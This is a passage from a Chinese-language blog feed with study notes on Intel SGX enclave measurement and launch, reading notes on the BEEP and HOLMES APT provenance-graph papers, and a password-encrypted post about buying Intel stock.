href="#二、Enclave创建与测量" class="headerlink" title="二、Enclave创建与测量"></a>二、Enclave创建与测量</h2><h3 id="1-Enclave代码准备"><a href="#1-Enclave代码准备" class="headerlink" title="1. Enclave代码准备"></a>1. Enclave代码准备</h3><ul><li>开发者提供Enclave代码、数据和属性定义</li><li>属性包括:XFRM、MODE(DEBUG/PRODUCTION)等</li></ul><h3 id="2-硬件测量过程"><a href="#2-硬件测量过程" class="headerlink" title="2. 硬件测量过程"></a>2. 硬件测量过程</h3><ul><li>逐页测量:</li></ul><p>For each page:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MRENCLAVE <span class="operator">=</span> SHA256_UPDATE(MRENCLAVE <span class="operator">||</span>  PAGE_INFO <span class="operator">||</span> PAGE_CONTENT)</span><br></pre></td></tr></table></figure><ul><li><p>页信息(PAGE_INFO)包含:</p><ul><li>页类型(REG/TCS/SECS)</li><li>页属性(R/W/X权限)</li><li>加载偏移地址</li></ul></li><li><p>最终生成256位的MRENCLAVE值</p></li></ul><h2 id="三、签名验证-SIGSTRUCT"><a href="#三、签名验证-SIGSTRUCT" class="headerlink" title="三、签名验证(SIGSTRUCT)"></a>三、签名验证(SIGSTRUCT)</h2><h3 id="1-开发者签名"><a href="#1-开发者签名" class="headerlink" title="1. 开发者签名"></a>1. 开发者签名</h3><ul><li>使用2048位RSA密钥对生成SIGSTRUCT</li><li>SIGSTRUCT包含:</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  MRENCLAVE,</span><br><span class="line">  Attributes,</span><br><span class="line">  ISVSVN,</span><br><span class="line">  ISVPRODID,</span><br><span class="line">  DATE,</span><br><span class="line">  SIGNATURE </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-MRSIGNER生成"><a href="#2-MRSIGNER生成" class="headerlink" title="2. MRSIGNER生成"></a>2. MRSIGNER生成</h3><ul><li>MRSIGNER = SHA256(RSA Public Key Modulus)</li><li>用于识别Enclave开发者身份</li></ul><h3 id="3-硬件验证"><a href="#3-硬件验证" class="headerlink" title="3. 硬件验证"></a>3. 硬件验证</h3><ul><li>验证RSA签名有效性</li><li>验证MRENCLAVE匹配</li><li>验证属性合法性</li></ul><h2 id="四、启动授权-EINITTOKEN"><a href="#四、启动授权-EINITTOKEN" class="headerlink" title="四、启动授权(EINITTOKEN)"></a>四、启动授权(EINITTOKEN)</h2><h3 id="1-Launch-Enclave职责"><a href="#1-Launch-Enclave职责" class="headerlink" title="1. Launch Enclave职责"></a>1. Launch Enclave职责</h3><ul><li>实现Intel定义的启动控制策略</li><li>管理Enclave白名单</li><li>生成并签署EINITTOKEN</li></ul><h3 id="2-EINITTOKEN结构"><a href="#2-EINITTOKEN结构" class="headerlink" title="2. EINITTOKEN结构"></a>2. EINITTOKEN结构</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  MRENCLAVE,</span><br><span class="line">  MRSIGNER,</span><br><span class="line">  Attributes,</span><br><span class="line">  ISVSVN,</span><br><span class="line">  CPUSVN,</span><br><span class="line">  KEYID,</span><br><span class="line">  MAC  // 使用Launch Key计算的MAC</span><br><span class="line">&#125;=</span><br></pre></td></tr></table></figure><h3 id="3-授权流程"><a href="#3-授权流程" class="headerlink" title="3. 授权流程"></a>3. 授权流程</h3><ol><li>验证请求者身份(MRSIGNER)</li><li>检查启动策略合规性</li><li>使用Launch Key生成MAC</li><li>打包EINITTOKEN</li></ol><h2 id="五、Enclave初始化-EINIT"><a href="#五、Enclave初始化-EINIT" class="headerlink" title="五、Enclave初始化(EINIT)"></a>五、Enclave初始化(EINIT)</h2><h3 id="1-硬件验证"><a href="#1-硬件验证" class="headerlink" title="1. 硬件验证"></a>1. 硬件验证</h3><ul><li>验证EINITTOKEN的MAC</li><li>验证MRENCLAVE/MRSIGNER匹配</li><li>检查属性与策略符合性</li></ul><h3 id="2-初始化过程"><a href="#2-初始化过程" class="headerlink" title="2. 初始化过程"></a>2. 初始化过程</h3><ul><li>建立Enclave上下文</li><li>初始化TCS(Thread Control Structure)</li><li>设置内存访问权限</li><li>生成Enclave加密密钥</li></ul><h3 id="3-信任链确立"><a href="#3-信任链确立" class="headerlink" title="3. 信任链确立"></a>3. 信任链确立</h3><ul><li>硬件信任根 → 测量值 → 开发者签名 → 启动授权 → 运行时隔离</li></ul><p>这样的修改更准确地描述了SGX的信任根和信任链建立过程,包含了关键的技术细节。您觉得还有需要补充或修改的地方吗?</p><h1 id="防止不可信的OS地址映射攻击"><a href="#防止不可信的OS地址映射攻击" class="headerlink" title="防止不可信的OS地址映射攻击"></a>防止不可信的OS地址映射攻击</h1><p>OS会被视作不可信环境，需要防止恶意的OS修改VA到PA的映射。</p><ol><li><p>The CPU performs the usual virtual-to-physical address translation using the page tables (controlled by the untrusted OS).</p></li><li><p>Once the physical address is determined, the CPU checks whether the physical address belongs to an EPC page by consulting the EPCM.</p></li><li><p>If the physical address is an EPC page, the CPU compares the virtual address being accessed with the expected virtual address stored in the EPCM entry for that EPC page.</p><ol><li>If the virtual address matches, the access is allowed.</li><li>If the virtual address does not match, the CPU raises an exception, and the access is denied.</li></ol></li></ol><h1 id="Enclave的调度"><a href="#Enclave的调度" class="headerlink" title="Enclave的调度"></a>Enclave的调度</h1><p><img src="image9.png"></p><p>留给操作系统调度的指令</p><p><strong>EPA</strong> - This instruction allocates a 4KB memory page that will contain the pages version number array (VA) to protect against replay. Each element is 64 bits long.</p><p><strong>EBLOCK</strong> - This instruction blocks all accesses to the page being prepared for eviction. All future accesses to this page will result in a page fault (“page blocked”).</p><p><strong>ETRACK</strong> - This instruction evicts a page from the EPC. The page must have been prepared properly: it must be blocked and must not be referenced by the TLB. Before writing it into the external memory, the page is encrypted, and a version number and meta-data are generated, and a final MAC is performed.</p><p><strong>ELDB/ELDU</strong> - This instruction loads into memory a previously evicted page, in a blocked state or not. It checks the MAC of the meta-data, version number (from the corresponding VA entry), and the page encrypted content. If the verification succeeds, the page content is decrypted and placed inside the chosen EPC page, and the corresponding VA entry deleted.</p><h1 id="Enclave的创建"><a href="#Enclave的创建" class="headerlink" title="Enclave的创建"></a>Enclave的创建</h1><p><img src="image10.png"></p><h1 id="Enclave的进入和退出"><a href="#Enclave的进入和退出" class="headerlink" title="Enclave的进入和退出"></a>Enclave的进入和退出</h1><p><img src="image11.png"></p><h1 id="Enclave中断和恢复"><a href="#Enclave中断和恢复" class="headerlink" title="Enclave中断和恢复"></a>Enclave中断和恢复</h1><p><img src="image12.png"></p><h1 id="Intel-SGX的原生支持缺陷"><a href="#Intel-SGX的原生支持缺陷" class="headerlink" title="Intel SGX的原生支持缺陷"></a>Intel SGX的原生支持缺陷</h1><p>SGX 的原生接口（如 ECALL 和 OCALL）非常底层，无法直接支持复杂的 OS 抽象。例如，线程管理、同步原语和动态线程创建在 SGX 中没有直接支持。</p><p><img src="image13.png"></p><p>也不支持enclave之间通信。</p><p><img src="image14.png"></p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://lingering.github.io/2020/06/18/SGX-%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/">https://lingering.github.io/2020/06/18/SGX-%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/</a></p><p><a href="https://blog.quarkslab.com/overview-of-intel-sgx-part-1-sgx-internals.html">https://blog.quarkslab.com/overview-of-intel-sgx-part-1-sgx-internals.html</a></p><p><a href="https://blog.quarkslab.com/overview-of-intel-sgx-part-2-sgx-externals.html">https://blog.quarkslab.com/overview-of-intel-sgx-part-2-sgx-externals.html</a></p><p><a href="https://www.ndss-symposium.org/wp-content/uploads/2017/09/ndss2017_07-5_Shinde_paper.pdf">https://www.ndss-symposium.org/wp-content/uploads/2017/09/ndss2017_07-5_Shinde_paper.pdf</a></p><p><a href="https://sgx101.gitbook.io/sgx101/sgx-bootstrap/enclave">https://sgx101.gitbook.io/sgx101/sgx-bootstrap/enclave</a></p>]]></content>
    
    
    <summary type="html">homework驱动学习</summary>
    
    
    
    <category term="binary" scheme="https://cl0und.xyz/categories/binary/"/>
    
    
    <category term="paper reading" scheme="https://cl0und.xyz/tags/paper-reading/"/>
    
    <category term="binary" scheme="https://cl0und.xyz/tags/binary/"/>
    
  </entry>
  
  <entry>
    <title>APT溯源图构建-论文阅读第二篇-BEEP-High Accuracy Attack Provenance via Binary-based Execution Partition</title>
    <link href="https://cl0und.xyz/2024/10/09/APT%E6%BA%AF%E6%BA%90%E5%9B%BE%E6%9E%84%E5%BB%BA-%E8%AE%BA%E6%96%87%E9%98%85%E8%AF%BB%E7%AC%AC%E4%BA%8C%E7%AF%87-BEEP-High-Accuracy-Attack-Provenance-via-Binary-based-Execution-Partition/"/>
    <id>https://cl0und.xyz/2024/10/09/APT%E6%BA%AF%E6%BA%90%E5%9B%BE%E6%9E%84%E5%BB%BA-%E8%AE%BA%E6%96%87%E9%98%85%E8%AF%BB%E7%AC%AC%E4%BA%8C%E7%AF%87-BEEP-High-Accuracy-Attack-Provenance-via-Binary-based-Execution-Partition/</id>
    <published>2024-10-09T14:05:20.000Z</published>
    <updated>2024-10-09T14:08:23.449Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>这篇文章是19年的时候作者觉得现在基于syscall的日志粒度太粗糙了，可能引起路径爆炸的问题，所以提出了一个unit的概念用来精细化。</p><p>为什么粗糙？</p><p>其实只要是一些长时间跑的程序会有，比如浏览器，比如email软件。</p><p><img src="image1.png"></p><p>比如一天一个人会收到无数封邮件，其中有一封是钓鱼邮件，这个受害者使用Pine（一个文本基的电子邮件客户端）触发firefox打开钓鱼邮件里面恶意链接之后，中了木马。</p><p>因为邮件程序和firefox程序都是在长时间运行，所以一旦出了问题难以溯源，究竟是哪一封邮件，触发哪一个钓鱼IP导致的问题。</p><h2 id="Existing-Heuristics-method"><a href="#Existing-Heuristics-method" class="headerlink" title="Existing Heuristics method"></a>Existing Heuristics method</h2><p>一些现有的解决这个问题的方法是</p><ol><li>使用时间戳来关联到近似的精准的因果关系 -&gt; 显然者并不是一个优雅的方法</li><li>既然一个程序（进程）粒度太粗了那就切分到线程级别来做 -&gt; 但是一些程序是用线程池的，仍然会造成因果混乱。</li><li>从file segment的角度关联，只有读了同一个文件指定segment才关联到一起。-&gt; 显然也不优雅，如果两个不相关的进程恰好整体读了文件，也会有错误因果关系。</li></ol><h2 id="Insight"><a href="#Insight" class="headerlink" title="Insight"></a>Insight</h2><p>作者观察到这种长时间运行的程序都会有loop的特征。所以作者把每一次循环都看作是一个unit，然后关联unit之间的关系。做到细粒度的关联。</p><p>并且作者观察到这种loop特征的长时间运行程序基本都是事件驱动类型的。</p><p>作者把他们分成了三种pattern</p><ol><li>Single-process 比如W3M</li><li>Multiprocess 比如SSH直接fork一个新进程。</li><li>multi-threaded, respectively 比如apache http server, 两个线程，一个线程“生产”，一个线程“消费”</li></ol><p><img src="image2.png"></p><ol><li>每一次循环可以看成一个独立的子执行一个unit</li><li>子进程没有loop，所以子进程看成一个unit</li><li>把生产者的一次循环和对应触发的消费者的那一次循环看成两个unit</li></ol><p>如3这种比较复杂的需要找到unit之间的依赖关系，如果这种loop是被系统事件驱动很好找，因为监控系统调用就行了比如socket/file。</p><p>但是对于一些不是由系统event触发的loop，就需要考察是enqueue和dequeue进行插桩关联。</p><h2 id="识别unit"><a href="#识别unit" class="headerlink" title="识别unit"></a>识别unit</h2><p>作者先是放弃了静态分析的方法，因为静态分析总是不精确的（参考莱斯定理哈哈）。</p><p>首先作者总结了包含unit的loop的特征</p><ol><li>这样的loop一般会倾向于出现在顶层</li><li>这样的loop一般会有一个syscall产生输入后或者输出</li></ol><p>但是这个特征并不精确，作者观察到有一些init和finailize的逻辑也会在顶层循环中，并且他发现在第二级loop中的逻辑才是我们想要找的unit。比如他们研究pine的时候发现的例子。</p><p><img src="image3.png"></p><p><img src="image4.png"></p><p>所以为了容忍这种情况，作者用tranning的方法对top level和second level的loop进行排查。</p><p>这个trainning的具体做法是</p><blockquote><p>In the training phase, our technique first constructs control flow graphs and call graphs for subject binaries using PEBIL [21], to identify loop heads and exits. Then we perform dynamic instrumentation using PIN [23] to log the beginning and ending of each iteration of all loops and system calls. We analyze the generated training log to filter out those loops that nest too deep or do not involve input/output syscalls.</p></blockquote><p>然后作者在后面说他把细节省略，但是我其实挺想看这些工程化细节的。。。</p><p><img src="image5.png"></p><p>这三列就是作者分别识别出来的，这程序总共有多少个loop，第一二季有多少loop，包含syscall有多少loop</p><h2 id="关联unit"><a href="#关联unit" class="headerlink" title="关联unit"></a>关联unit</h2><p>捕获单元间的依赖关系对于隔离由多个单元构成的语义独立子执行是非常重要的。</p><p>这里基本思路是改进版的访问同一块内存。作者这里定义了两种类型的unit依赖</p><ul><li>Low Level Dependence：比如一些日志或者内存的管理，或者一个程序要通过更新全局变量的方式向另一个方报告自己的状态etc。这些东西可能导致最终把所有的unit都关联起来。</li><li>Workflow Dependence：这两个unit有明确的工作流关系</li></ul><p><img src="image6.png"></p><p>比如这里实线是Workflow Dependence，Low Level Dependence是虚线由update(log_buf)导致。</p><p>所以作者这里又加两个规则（为了拿到workflow dependence）</p><ol><li>两个有workflow dependence关系unit共享heap object的变量，而不是全局变量或者栈变量</li><li>来自同一个loop的unit都会有不同对象比如socket_A，socket_b，socket_c，但是像log_buf都是大家都有。</li></ol><p>作者下面给了一个算法来自动化的寻找unit</p><ol><li>We instrument libc memory allocation functions to detect all heap objects and their sizes.</li><li>We instrument all memory accesses to check if an access targets on any of the allocated heap objects. If so, we log the access.</li><li>We instrument all the unit loops identified in the previous phase to log the begin and the end of a unit. Essentially, we log each instance of a unit loop head. The execution between two consecutive instances of the loop head denotes a unit.</li><li>We then associate all the heap objects to the units in which they are accessed. For a heap access instruction inside a unit loop, if it accesses unique heap objects in different units and these objects cause inter-unit dependences, we consider it a unit dependence inducing instruction.* In other words, if an instruction ever accesses the same heap object in multiple units, it is excluded; if the object accessed by an instruction can never cause cross-unit dependence, it is excluded.*</li></ol><p><img src="image7.png"></p><p>在这个例子中算法会排除0x1,0x10 etc,因为他们在多个unit中都用到了，而0x10001只被两个unit共享所以会被看成有workflow dependence。0x20001同理。</p><p>后面作者又优化了一下这种算法，因为他发现我在两个有workflow dependence的unit里面，比如unit1-1 unit2-1</p><p>unit1-1写入0x50000, 0x50010。然后unit2-1读取0x50000, 0x50010。他们都会建立两次关系，但其实可能只是读了一个结构体的不同field，作者觉得unit1-1的写和unit2-1的读总是对称的。所以只选第一个field建立一次关系。</p><p>评论：但是我不懂作者是如何做到这一点的，怎么判断是不是同一个结构体的field？通过插桩的记录的chunk起始地址和大小？</p><p>后面还有一些其他的内容，比如作者提到动态测试覆盖不全可能会miss loop，或者上面规则不够完备还是可能关联上low level的dependence进来，最后还给了建立provence的算法。不过我觉得精华都在unit在这部分。</p>]]></content>
    
    
    <summary type="html">第二篇BEEP-High Accuracy Attack Provenance via Binary-based</summary>
    
    
    
    <category term="redteam" scheme="https://cl0und.xyz/categories/redteam/"/>
    
    
    <category term="paper reading" scheme="https://cl0und.xyz/tags/paper-reading/"/>
    
    <category term="redteam" scheme="https://cl0und.xyz/tags/redteam/"/>
    
  </entry>
  
  <entry>
    <title>APT溯源图构建-论文阅读第一篇-HOLMES: Real-time APT Detection through Correlation of Suspicious Information Flows</title>
    <link href="https://cl0und.xyz/2024/10/05/APT%E6%BA%AF%E6%BA%90%E5%9B%BE%E6%9E%84%E5%BB%BA-%E8%AE%BA%E6%96%87%E9%98%85%E8%AF%BB%E7%AC%AC%E4%B8%80%E7%AF%87-HOLMES-Real-time-APT-Detection-through-Correlation-of-Suspicious-Information-Flows/"/>
    <id>https://cl0und.xyz/2024/10/05/APT%E6%BA%AF%E6%BA%90%E5%9B%BE%E6%9E%84%E5%BB%BA-%E8%AE%BA%E6%96%87%E9%98%85%E8%AF%BB%E7%AC%AC%E4%B8%80%E7%AF%87-HOLMES-Real-time-APT-Detection-through-Correlation-of-Suspicious-Information-Flows/</id>
    <published>2024-10-05T15:03:48.000Z</published>
    <updated>2024-10-05T15:22:01.148Z</updated>
    
    <content type="html"><![CDATA[<p>本系列记录一些关于APT溯源构建provenance graph的论文阅读笔记。旨在学习论文中的一些idea。</p><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>这篇论文亮点是引入一个中间层把低维度的审计日志（通常它他们是各个程序的syscall日志），映射到高纬度的APT kill chain信息。</p><p>高纬度kill chain</p><p><img src="image1.png"></p><p>引入中间层TTPs, HSG</p><p><img src="image2.png"></p><p>此外还引入了一些剪枝的策略</p><ol><li>We show how this concept can help to assess the strength of dependencies between HSG nodes. Weak dependencies can then be pruned away to eliminate many false alarms. </li><li>Second, we develop noise reduction techniques that further de-emphasize dependencies that are known to be associated with benign activities. </li><li>Third, we develop ranking and prioritization techniques to prune away most nodes and edges unrelated to the APT campaign. </li></ol><h2 id="TTPs-Tactics-Techniques-and-Procedure-的构建"><a href="#TTPs-Tactics-Techniques-and-Procedure-的构建" class="headerlink" title="TTPs(Tactics, Techniques and Procedure)的构建"></a>TTPs(Tactics, Techniques and Procedure)的构建</h2><p>from Audit Logs，会引入一些规则，比如下面这个例子。</p><p><img src="image3.png"></p><p>会引入一些规则，比如有监控到read的系统调用，从非信任IP读取数据，那么就把它记做一个Unstrusted_Read(S, P)对。S是socket, P是进程。</p><p>如果有一个P, 他申请了可执行的内存，并且这个P和Unstrusted_Read(S, P’)中的P’有关系（path_factor）那么，就把这个P加入Make_Mem_Exec(P,M)对中。</p><p>注：path_factor怎么算后面会讲。</p><p>上面的两个Make_Mem_Exec和Make_Mem_Exec会被归为高纬度，对应APT kill chain的Initial_Compromoise。</p><h2 id="HSG-high-level-scenario-graph-的构建"><a href="#HSG-high-level-scenario-graph-的构建" class="headerlink" title="HSG(high-level scenario graph)的构建"></a>HSG(high-level scenario graph)的构建</h2><p>这部分其实很简单，每一个TTP是一个小节点，节点之前是否连线就是他们是否有prerequisites里面的关系。</p><p>ATP Stage是一个大节点。</p><p><img src="image4.png"></p><h2 id="HSG剪枝技术"><a href="#HSG剪枝技术" class="headerlink" title="HSG剪枝技术"></a>HSG剪枝技术</h2><h3 id="Avoiding-Spurious-Dependencies"><a href="#Avoiding-Spurious-Dependencies" class="headerlink" title="Avoiding Spurious Dependencies"></a>Avoiding Spurious Dependencies</h3><p>这里引入了弱关联和强关联的概念，比如下图的中nginx error.log。cat和nginx就是弱关联，可能黑客通过nginx入侵过程中产生了一些日志，然后被管理员用cat读到了。</p><p><img src="image5.png"></p><p>所以作者在这里形式化的引入一个ancestral cover AC(f)，它是由<code>∀p ∈ f ∃a ∈ AC(f) a = p or a is an ancestor of p</code> 所定义。</p><p>一个信息流f的每一个p，把这个p和它的祖先进程都加入一个集合，这个集合就是AC(f)。接着引入一个ACmin(f)的概念代表size最小的AC(f)。</p><p>注：这里类似于一个最大公约数的概念，如果nginx和cat由一个共同的祖先进程那么ACmin(f)就是1。显然这里nginx和cat并没有，所以ACmin(f)就是2。</p><p>因为一个node1到另一个node2可能有多条路径，f1, …, fn。每一个，路径都会有一个ACmin(f)，而这些ACmin(f)中最小的那个值就是上面path_factor想表达的东西。</p><p>path_factor(N1, N2) = minimum AC(f) of per path。</p><p>评论：看下来就是判断两个进程是否有共同的祖先，不知道为什么要搞得这么复杂。</p><h3 id="Noise-reduction-based-on-benign-prerequisites"><a href="#Noise-reduction-based-on-benign-prerequisites" class="headerlink" title="Noise reduction based on benign prerequisites."></a>Noise reduction based on benign prerequisites.</h3><p>作者认为一些长时间运行的良性进程可能也会触发TTP的规则，所以他会预先观察程序在良性环境情况触发TTPs的情况然后加成规则排除他们。</p><p>但是这样其实又会引入漏报，比如万一真的nginx在启动时会读/etc/passwd，然后他被当白样本学习了，造成黑客真的打进来的时候被忽略。</p><p>所以作者又提出，可以根据从/etc/passwd读出的大小来判断 -&gt; 读一次时正常，老是读就不正常了。</p><p>评论：感觉这就是一个笨办法，需要一个进程case by case的优化。</p><h3 id="Signal-Correlation-and-Detection"><a href="#Signal-Correlation-and-Detection" class="headerlink" title="Signal Correlation and Detection"></a>Signal Correlation and Detection</h3><p>因为kill chain有7步，所以会根据每一步最大的那个risk level，放进元组&lt;S1, S2, S3, …, S7&gt;</p><p><img src="image6.png"></p><p>然后根据这个元组算出一个分。</p><p><img src="image7.png"></p><p>基于两个主要标准设计的：(1) 灵活性和定制化，以及 (2) 随着步骤展开，APT步骤的相关性反映在分数的放大上。</p><p><img src="image8.png"></p><p>评论：这一步看起来还挺科学的</p><h2 id="完整的TTPs"><a href="#完整的TTPs" class="headerlink" title="完整的TTPs"></a>完整的TTPs</h2><p><img src="image9.png"></p>]]></content>
    
    
    <summary type="html">本系列记录一些关于APT溯源构建provenance graph的论文阅读笔记。旨在学习论文中的一些idea。</summary>
    
    
    
    <category term="redteam" scheme="https://cl0und.xyz/categories/redteam/"/>
    
    
    <category term="paper reading" scheme="https://cl0und.xyz/tags/paper-reading/"/>
    
    <category term="redteam" scheme="https://cl0und.xyz/tags/redteam/"/>
    
  </entry>
  
  <entry>
    <title>Why did I buy INTC stock in Sep 2024</title>
    <link href="https://cl0und.xyz/2024/09/29/Why-did-I-buy-INTC-stock-in-Sep-2024/"/>
    <id>https://cl0und.xyz/2024/09/29/Why-did-I-buy-INTC-stock-in-Sep-2024/</id>
    <published>2024-09-29T08:03:08.000Z</published>
    <updated>2024-09-29T08:07:19.319Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="419cfb72e875cdddd2ff413c626a3fc5d459645b8c49ac8aab5b68af6905cbd4">f8c89326e2dd27398d7b0a10fab7ffc5bbe7003240d706b98f5c34f6af465a7f8b3722f5e90c29961d9f8f4a455241c4eed99ab7cd5987b8f0a9067048b30b04c0b9a6295fb86caeb7d1d9e3a0112d8d59aa86ecd9b0603fe8d84b64dfce1a3e651275e60c7e4fa376d1bd526063a70980dafceeb4e29d78fda5a669b3996005eb2d7739aea79a60d429433b53c60827b2fc416ead2dc73148b8e2606c9f96abcc78124ecd5b69bd86f63826b10aca639969c64271c2bfbb1dbed0edf14173f84b4c3a087bfbbd465e717d123df0afe2bd1db5870294f0fae9b309f3b6f948ebf321d14e1f8c7e91f1ef8f3d9b5e768af2c8512a2fab7c7d44fc29426d5818a14aea29e97954e617b8d7f705751cda575131dbfa0b82b990d2898408e3eb6271066ab13bc9cdeb878e871254a3dffc4b9fde45c4a834ca0218757593f900a7444dab788047fe61b6d64e38f9f37a69f5b881f24739bf2c66e7c4c7203fd9b7430ca5da00b89e66ee2c73afaa9c504477ff019853fa1f43a9e9a93f03d9ea2520fc539fc2683e0083c12a604a9b17fdbcef47371963a30a2df713f3c09945bcaa812c12cf2da0a434bfe39d0b7862fbc66aeffcb3f2597027a5255560f40599a7a2f16881428185f74a4a34e45753306a7b3edfe855d6b2bce59a477cd96a311d8b2e35db05b60b531a2c3d2f9f72c2aa0ff4f5c5838cdb269b75d530452fdd1830002de35f4efa5788ad40f1e1cdeb7a24f34fd6e6615e0e9488897c921afc4dfbe9e6acd47465c98f55b5a0aadb3561b1ae68c4be148544515531a77b9e5487e7fdeb4998b5b6741fe99ac6cad33bfd5f8a898c2d07e01413fdcd1593095dccfecb5fd7607b99d2779f4cf0a985bba498c648de8444c0607a6b6d53b879be85f730e2e8b047741c2d5f78917bc53360b068460032d24213812a91ac5bdd0086b6bd6aeefdb069fbd13cb8545b9997f5e43e770822a6603c7bd9872a4de2ae3fc55e70814281d15cf866ec1fa4b1cf25a53b10ad1304a66a99ab5ebc23a89a70711a38bb9f35f747dc3c21a7802b2e3a601d76d55875afaa2bcc067f933130b821ee200adf86d6d3eea16a1dfd185b89012ebabce2df02f793e3f049adad72d1fa472fb2ee0af68aaa359ce8d66c7baba0b7e610ca147ff867cd8a091fce9ccdcbf4e17009eb0fe558c19e0082ddf7775ad9f9d2e63cfd72f07ae7cda3cfa3f7efa95962a083c5ed5855e81bfd1aeeeca167532f737496d60e5ff3ef7835c455f8d65fe07537cb34bb1c648b179f73980bd2fb3db117c8311452fb4f871822c1a9985a849a84d6667f974539fb4b759b6e77470c51a26cbb087f31ca381d3e04795b41fee495e599b49c80603c0197c0824112b2ebf03ba174734d392087de7e19c8a9d7566e441bc949dba6f5cd2e7300aede46822bf35d57f958cfc2300ee180e9480ecbdb9b9bdc2b5fb21c1ea26286105a436d9c087d721dda8587fa3c9420870b7d70ff90a6622b88ce774a4236ef073003c2ca8920c28676c3a7ad584113a7f6f6fbff505c0f745ce54b782eab66da06232dd1a195aeae0957ca2732411c29c42c256818ae49caef749f8c0371c107b276a747158b37f2a765a11279411d872d55eb79e76fb73737f616efd78961461c5837206ece6f9ef73dfc300223fac0496ebb8357b7890058585cb28a1e675d402c576c3a3eaa4de4a0c77bf94f211d6276018bca9407ba27d6cb3bd8977cf93f92f43509299185cc834477ba50fd46de29605fc460a46937ad585f431cb4e3fd602c666e45e9eecb1f25923cada638fabd1b40b25f418a591ffd6b518de3be7f54824c67959be6e4159f67dc759b6cd5af073e563787fb224a9e93be66875410a626b8096f69d049328d68c379ec5b54bd29126338822fc84b42f601f61ab2d83ac43ab7301f5630b49751a2d6d2a696c29c16efac2c7df7c8a79ea46a015cd6f3aed2174e650b540a2c386d8354a58433c95d5a14d2cafe2684a82577039d522569c0d0b1c8002f305a249063e29c15cae42c647f17e3e965c76ba704632b772545ca90ef0c7524fa05e45b5de4972301904cef1ff071bc45eb62ca2262415b16366c59687d9ea044ebc7a24ae7c0e979eaf76a2ca66e1122bc587a2908c239aa4b635f3b066f7fc0eb3b96fe80bac32148db2d0541324b69bbcc0472d6cdb4c3b56a4b40dc80dd7d6817f371201c550a2a1a77aebdb9bd7b4a7e61cd04428fe79ed7523dbeb89253fc9b0166b54f89ecfe2726f8d3c0d0cd0cd6b73b344276926e5fb02dad6ed9fc517546adf0d7d7f047a7cc677dabeaec689ca539ed34f63f2414421049972b70d34cf942f09213103541c2cd1866936bd5d11a22edea5ce0e2af578f266176815ec06311875525619cb2248d2887c2366720612edb7edde5c96d89bdbc8e4837e995692403b9eddfaafc924b57176dd95a301fc8f08a22669c4bbe2785dd93eb373577fafe596282749c7cf698f988ff7b0a0c4e2b749c634eb84ace697337650aaf913487d5e3594d46f9abcacd1a7c64c7418122ff3e1ccdca1c6da4ecd5daf795cd27911c53fe5b9522b43ec1c0ae1d70621a8c6b9fa12fe069a57db32d630b111daf57c8a7b529e25dcd5d1d0e5b4e0702cfa9fbb874f479334aca69c4b2228f0b7282440a98abcf1a64db2ce5ef7a7188cbfa063a040724a0963fefb1af0da0085c0efc7933891815d6fd0c96d1f1ecaf9e5d185cd56163d1f8f116ac682c4cc5016bb26b3667c278c6a09ff300a2e1f5cb9e82b40730f66770de334e348702cf6d5162d15e944a54ec872a8679a89462ce58cf073ca7047077a8a5ab4a5f12e7067c8b263bd757ad9de4457d6287e3a80e09d96f679ed96357713a4c3ddcf86260bec65914cc9e4e928c766df823818409d3e43450003f130848e003f519198623ecb5e5374a4d9554dbf2e306d87bad23966f674e4afef6e1acdc83bd4e13c22ae374f1b88782d1428d346976389bbc2cc893417040ae392cb3318c5e135a2993d8c314f42119e00599a8819f2eb81fa54eafd8d28b7e6119d0bebeb2366a41f4bcd83ee378bb1babbf9c375615fff41771b475d6de74caf6272d8eef67da68a12ddcc935fec14d31033e3ef9dcc12a3069e613b50bda1f209185524dd820a4ac5b56d8d116580f747d6a712c19508d79b9ce209a0bb0614a07fb32d67ca4b7d2bf164135448221339de21f7dd42ca84f78099060cf263b3e5a48c396eff3afb825bb579d804c8361b5ae7ccd16404c0854dc7d1aad4c13700780b338bf85b840f3c9103f6db4a326d297215261e9b4a9afe49979dd0c1a1bbb925946cc8a617fbba9b85e09faa82935d013c989bdc60a94a211b829bafc465270b01c403662fc3cc41dd7a8f673dbef4e2e117c886d70ca76816c07b075def56a7dab71c463fe1b6195e8ebf39793fd4b27239a6b7062c8899831e8bf6c1112ad4ba6ffa7c32446740fd2b9662716b818927deb4ab1ca8ab2db0f143091f89573178546cb1abae7d58ea2437ee553553de44955ad06f636e3a33793d69dbed7f5467d9703511b6bc7e81521c184adb9b32d4b60169f98727618ef46c179503d2e36debc2193e953ed1fcceb840d3805be99ef4c2754bc5cf21a7309315c435efca156464216342efcc3852dedae2b8ab6f983713cae9e3b91a0fd2e6bfa14a5d1ba0f7892444ffb8504b16b6f9f0870de120fd017edcb30c884b2e936f122e23f1434eedcf6514ae45976de2b79a733dc10832e3e39139b06af8f5c264a95b1b387777c2ddecec50e8c6f602fc76a3f79892804be9a9e66b67bd5aebb58d37dfa4008a69486a1a7150e71aebf0748c0d54646d363c3d9642d94fac82f6d3d378d469f42d1c45baa56dbfb1b9cf67b91c1061b9152edab9feee3d182fb080fc093882c51aa4330eb9eed130def6073d101eeacea745091632d392a13362f0ea59665514fc14517a9fa479f7f4bd5723cb2aa583dd14d2a1b5b255e